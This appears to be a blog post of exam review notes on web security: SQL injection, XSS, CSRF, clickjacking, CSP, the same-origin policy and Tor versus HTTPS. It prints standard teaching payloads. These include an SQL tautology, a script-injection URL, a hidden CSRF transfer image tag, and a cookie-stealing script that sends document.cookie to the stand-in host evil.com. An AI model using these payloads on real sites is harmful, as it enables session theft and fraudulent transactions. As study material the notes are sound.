Web Security Essentials: SQLi, XSS, CSRF and Tor

Posted on May 29, 2026 in Computers

Information Security Final Exam Review

SQL Injection Attack Types

Direct Attack: An attacker (Eve) sends a malicious request directly to the server (Bank.com).

Cross-Site: Alice has two tabs open: a sensitive site (Bank) and a malicious site (Evil.com). The malicious site tries to influence the sensitive one.

Third-Party: A legitimate site (News.com) loads an advertisement from a malicious domain (EvilAds.com).

Cookie Security and Session Hijacking

Mechanism: HTTP is stateless. To “remember” Alice, the server sends a set-cookie: sessid = xyz header. Alice’s browser sends this back with every future request.

The Attack (Cookie Guessing): If the sessid is predictable (e.g., sessid = alice), Eve does not need Alice’s password. She crafts a request using Alice’s cookie to hijack the session.

Drawbacks of Weak Cookies: Leads to easy account takeover without needing to bypass firewalls or encryption.

Defenses:

Unpredictability: Use long, cryptographically secure random strings for Session IDs.
Integrity: Use MACs (Message Authentication Codes) to ensure the cookie hasn’t been tampered with.

SQL Injection (SQLi) Vulnerabilities

The Vulnerability: Occurs when user input is treated as code instead of data. This happens when code uses string concatenation.

Vulnerable code: query = "SELECT * FROM users WHERE user = ' " + input + " ' "

Common Attack Payloads:

Tautology (' OR 1=1 --): Forces the query to always be true, bypassing authentication.
Commenting (admin' --): The -- tells the database to ignore the rest of the query (like the password check).
Logic Precedence: In SQL, AND is evaluated before OR. An attacker can exploit this to change the logic of a WHERE clause.

Web Communication Basics

GET vs. POST: GET parameters appear in the URL (e.g., ?user=alice). This is great for bookmarks but bad for sensitive data. POST sends data in a message body.
Same-Origin Policy (SOP): The browser’s primary defense. It prevents a script on evil.com from reading data from bank.com.

Cross-Site Scripting (XSS)

A vulnerability where an attacker injects malicious scripts into content that is eventually sent to a different user. The browser, trusting the source (e.g., bank.com), executes the script.

The Problem: The server-side (like Python) takes input from a user (via GET parameters or forms) and inserts it directly into the HTML without cleaning it.

Vulnerable Code Example: return "<html><body><p>Welcome, %s!</p></body></html>" % name
The Trigger: Instead of a name, the attacker provides a <script> tag.
Example URL: bank.com/welcome?name=<script>alert(1);</script>

Anatomy of a Reflected XSS Attack

This is a “reflected” attack because the script is sent to the server in a request and “reflected” back to the victim in the response.

The Hook: Eve (the attacker) creates a malicious link pointing to bank.com that contains a payload like <script>REALLY_EVIL_JS</script>.
The Bait: Eve tricks Alice (the victim) into clicking that link (e.g., via a phishing email or a link on evil.com).
The Request: Alice’s browser sends the request to bank.com.
The Reflection: bank.com receives the “name” (which is a script) and sends back a page that includes that script.
The Execution: Alice’s browser sees the script coming from bank.com. Because it trusts the bank, it executes the script in the context of Alice’s bank session.

Cookie Stealing via XSS

The Payload: <script>document.location='http://evil.com/steal?cookie='+document.cookie;</script>

How it works:

document.cookie accesses the session ID stored in the browser.
document.location forces the browser to redirect.
The victim’s browser silently sends their private session cookie to the attacker’s server (evil.com).
The attacker then uses that cookie to login as the victim.

Reflected vs. Stored XSS

Reflected: The script is in the URL/Request and is immediately bounced back (not saved).
Stored: The script is saved to the server’s database (e.g., in a comment or profile bio). It attacks every user who views that page.

XSS Defense and Scenarios

Using prepared statements is an effective defense against SQL injection, but for XSS, output encoding is key.
To determine which URL will successfully pop up an alert box:
- The payload must target the correct GET parameter (e.g., id), because the server only prints that specific parameter into the page.
- The payload must contain valid HTML/JavaScript syntax that forces the browser to execute code.

OWASP XSS Prevention Rules

Rule	Context	Example Structure	Proper Defense Mechanism
Rule #1	HTML Body	`<div>UNTRUSTED DATA</div>`	HTML Entity Encoding: Convert characters like `<, >, &, ", '` into their entity equivalents (e.g., `<, >`).
Rule #2	HTML Attribute	`<input value="UNTRUSTED DATA">`	Aggressive Attribute Encoding: Encode all non-alphanumeric characters. CRITICAL: Attributes must be wrapped in quotes.
Rule #3	JavaScript Data	`<script>var x = "UNTRUSTED DATA";</script>`	JavaScript Unicode/Hex Encoding: Escape data inside quoted strings using `\xHH` or `\uXXXX` formatting.
Rule #4	CSS Value	`<div style="width: UNTRUSTED DATA">`	Strict Structural Validation: Use absolute whitelisting or CSS hex escaping. Never put untrusted data directly in `<style>` blocks.
Rule #5	URL Context	`<a href="/search?q=UNTRUSTED DATA">`	URL Encoding: Use `encodeURIComponent()` and strictly validate protocols (whitelist `http:` and `https:`).

Dangerous Contexts (OWASP Exceptions)

OWASP explicitly calls out contexts where you should NEVER put untrusted data, even if it is encoded:

Directly inside tag names: <UNTRUSTED_DATA href="/test" />
Directly inside attribute names: <div UNTRUSTED_DATA="test" />
Directly inside HTML comments: 
Directly inside raw <script> or <style> blocks without being bound to a quoted string variable.

Cross-Site Request Forgery (CSRF or XSRF)

An attack that forces an authenticated user to execute unwanted actions on a web application in which they’re currently authenticated.

Core vulnerability: Browsers are designed to automatically include a site’s cookies (including session cookies) with every request sent to that site, regardless of where the request originated.
The Exploit: The attacker tricks the victim’s browser into sending a malicious request to a sensitive site where the victim is already logged in. The sensitive site trusts the request because it comes with the victim’s valid session cookie.

Anatomy of a CSRF Attack (The Money Transfer)

Imagine Alice is logged into bank.com in Tab 1 and opens evil.com in Tab 2.

The Trap: evil.com contains a hidden form or image tag that automatically sends a request to bank.com when the page loads. Example: <img src="http://bank.com/transfer?amount=1000&to=Eve" width="0" height="0">
The Automatic Request: Alice’s browser attempts to load the “image” by sending a GET request to bank.com.
The Cookie Attachment: Because the request is going to bank.com, the browser automatically attaches Alice’s active sessid cookie.
The Execution: bank.com receives the request, sees Alice’s valid session cookie, assumes Alice explicitly clicked a button, and processes the transaction.

Comparing XSS, CSRF, and Clickjacking

XSS (Cross-Site Scripting): Malicious code is injected into the vulnerable site. The attacker exploits the user’s trust in a specific site.
CSRF (Cross-Site Request Forgery): No code is injected into the vulnerable site. Instead, a separate malicious site creates a forged request to the vulnerable site. The attacker exploits the site’s trust in the user’s browser/cookie.
Clickjacking: An attacker uses transparent layers (UI redressing) to trick a user into clicking a button on a sensitive site when they think they are clicking something harmless on a malicious site.

CSRF Defenses

Defense	How it Works	Why it Succeeds/Fails
Using POST instead of GET	Requiring state-changing actions to use POST.	FAIL: Attackers can use JavaScript on `evil.com` to auto-submit a hidden form via POST.
Anti-CSRF Tokens	Server generates a unique, secret token embedded in hidden form fields.	STRONG: The server matches the submitted token with the session token. `evil.com` cannot guess this token.
SameSite Cookie Attribute	A cookie header flag (`SameSite=Strict` or `Lax`).	STRONG: Instructs the browser not to send the cookie if the request originates from a cross-site link.

Clickjacking (UI Redressing)

The Core Vulnerability: Browsers allow websites to overlay and embed pages from other domains using <iframe> elements, and CSS can make these frames completely transparent.
The Attack Mechanism: The attacker layers a transparent, legitimate page (like a bank’s transfer confirmation) over an appealing, malicious interface (like a game).

Anatomy of a Clickjacking Attack

The attacker creates a button on evil.com that says “PLAY GAME”.
Directly over that button, they load an <iframe> pointing to bank.com/confirm_transfer.
Using CSS (opacity: 0), they make the bank’s page completely invisible.
When the victim clicks “PLAY GAME”, they are actually clicking the invisible “Confirm Transfer” button.

Defending Against Clickjacking

Legacy Defense: X-Frame-Options header (DENY or SAMEORIGIN).
Modern Defense: Content Security Policy (CSP) using the frame-ancestors directive to whitelist allowed domains.

Content Security Policy (CSP)

CSP is an HTTP response header that allows site administrators to declare which dynamic resources are allowed to load and execute in the victim’s browser.

The Core Purpose: It acts as a safety net. If an attacker injects a malicious script, a strong CSP instructs the browser to refuse to run it.
Common Directives:
- default-src: Fallback for other directives.
- script-src: Valid sources for JavaScript (Critical for fighting XSS).
- style-src: Valid sources for CSS.
- img-src: Valid sources for images.
- frame-ancestors: Which sites can embed this page (Defends against Clickjacking).

CSP Source Keywords

‘self’: Only load resources from the same domain, protocol, and port.
‘none’: Block this resource type entirely.
‘unsafe-inline’: Allows inline scripts. Warning: This defeats the anti-XSS purpose of CSP!
‘unsafe-eval’: Allows eval(). Highly discouraged.

History Sniffing and Browser Fingerprinting

History Sniffing: An attack where a malicious website determines which external sites a user has visited by exploiting browser features like the :visited CSS pseudo-class.

Browser Fingerprinting: Identifying users without cookies by gathering technical configuration data (screen resolution, installed fonts, plugins). Canvas Fingerprinting uses hidden 2D graphics to generate a unique pixel-level hash of the user’s device.

Same-Origin Policy (SOP) for Frames

A script in one frame can only read or write properties of another frame if both pages share the exact same origin (Protocol, Host, and Port).

Origin Matching Example (Target: http://news.com/article):
- http://news.com/login → MATCH
- https://news.com/article → MISMATCH (Protocol)
- http://sports.news.com/article → MISMATCH (Subdomain)

Descendant Policy: A frame (A) can only navigate another frame (B) if B is a direct descendant of A or a descendant of a frame with the same origin as A.

Anonymity and Encryption: Tor and HTTPS

HTTPS: Protects the content of your data (passwords, search terms). It does not hide who you are talking to (the domain).
Tor (Onion Routing): Protects your anonymity (IP address and location). It routes data through Entry, Middle, and Exit nodes.

Security Scenarios

Tor Only (Plain HTTP): The ISP cannot see the destination, but the Tor Exit Node can see the raw data and passwords.
HTTPS Only: The ISP can see the domain you visit but cannot see the specific subpages or data content.
Tor + HTTPS: Maximum security. The ISP only sees Tor usage, and the Exit Node cannot see the encrypted data content.

Exam Practice Scenarios

Part 1: Alice (Tor but not HTTPS)
Will Tor prevent Alice’s ISP from learning her cookie? Yes. The traffic is encrypted before leaving her computer, so the ISP only sees a connection to a Tor Entry Node.

Part 2: Bob (HTTPS but not Tor)
Will HTTPS prevent Bob’s ISP from learning about a specific subpage? Yes. HTTPS encrypts the URL path and headers. The ISP sees the domain (www.askdy.com) but not the specific page (/abgh1859a.html).